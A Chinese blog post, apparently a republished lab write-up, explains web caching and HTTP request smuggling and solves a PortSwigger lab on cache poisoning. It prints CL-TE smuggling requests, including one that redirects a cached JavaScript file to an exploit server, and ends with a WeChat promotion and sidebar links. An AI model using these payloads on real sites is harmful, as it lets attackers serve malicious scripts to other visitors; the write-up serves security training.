当前位置:网站首页>Http-Sumggling Cache Vulnerability Analysis
Http-Sumggling Cache Vulnerability Analysis
2022-08-05 10:58:00 【Hetian Network Security Lab】
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看.
在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解.
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器.
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:
后端程序缓存
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器.
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念.

什么是web缓存漏洞
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷.
这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了.

如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,Also called a cache attack.
【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的.
一般可分为以下几种:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在[email protected]知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述.
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场.
解法
判断是否存在走私,确定为CL-TE.
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1第一次请求为:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
第二次请求为下半段:
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
可以看到存在302跳转.
然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击.


可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击.
先点击send post包
POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1访问到第一部分:

然后在
/resources/js/tracking.jssend包:
可以发现成功攻击,缓存键为
miss,那下一个包应该就可以成功转接到exploit上,我们试试.对原界面进行抓包,多抓几次.

发现host成功变为我们的exploit.
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志.
更多靶场实验练习、网安学习资料,
边栏推荐
- Common operations of oracle under linux and daily accumulation of knowledge points (functions, timed tasks)
- 【OpenCV】-仿射变换
- 微服务结合领域驱动设计落地
- R语言使用yardstick包的pr_curve函数评估多分类(Multiclass)模型的性能、查看模型在多分类每个分类上的ROC曲线(precision(精准率),R代表的是recall(召回率)
- I'm going crazy.Again A few days can not be A problem
- 提取人脸特征的三种方法
- Chapter 5: Activiti process shunting judgment, judging to go to different task nodes
- 提问题进不去。想问大家一个关于返回值的问题(图的遍历),求给小白解答啊
- 数分面试(一)----与业务相关
- gradle尚硅谷笔记
猜你喜欢

支持向量机SVM

Google启动通用图像嵌入挑战赛

负载均衡应用场景

Login function and logout function (St. Regis Takeaway)

PostgreSQL 2022 报告:流行度上涨,开源、可靠性和扩展是关键

Common operations of oracle under linux and daily accumulation of knowledge points (functions, timed tasks)

FPGA:开发环境Vivado的使用

使用Windbg过程中两个使用细节分享

Mathcad 15.0软件安装包下载及安装教程

Http-Sumggling缓存漏洞分析
随机推荐
MMDetection实战:MMDetection训练与测试
PostgreSQL 2022 Report: Rising popularity, open source, reliability and scaling key
【C语言指针】用指针提升数组的运算效率
lvgl 实现状态提示图标自动对齐补位显示
SkiaSharp 之 WPF 自绘 投篮小游戏(案例版)
Common operations of oracle under linux and daily accumulation of knowledge points (functions, timed tasks)
The query that the user's test score is greater than the average score of a single subject
FPGA: Basic Getting Started LED Lights Blinking
如何测试一下现场的备机失败,转发主机的场景?
记2022年七夕感慨
SkiaSharp 之 WPF 自绘 投篮小游戏(案例版)
hdu4545 魔法串
四、kubeadm单master
智能算力的枢纽如何构建?中国云都的淮海智算中心打了个样
Android development with Kotlin programming language - basic data types
2022 Hangzhou Electric Power Multi-School Session 6 1008.Shinobu Loves Segment Tree Regular Questions
Go编译原理系列6(类型检查)
I'm going crazy.Again A few days can not be A problem
苹果Meta都在冲的Pancake技术,中国VR团队YVR竟抢先交出产品答卷
API 网关简述

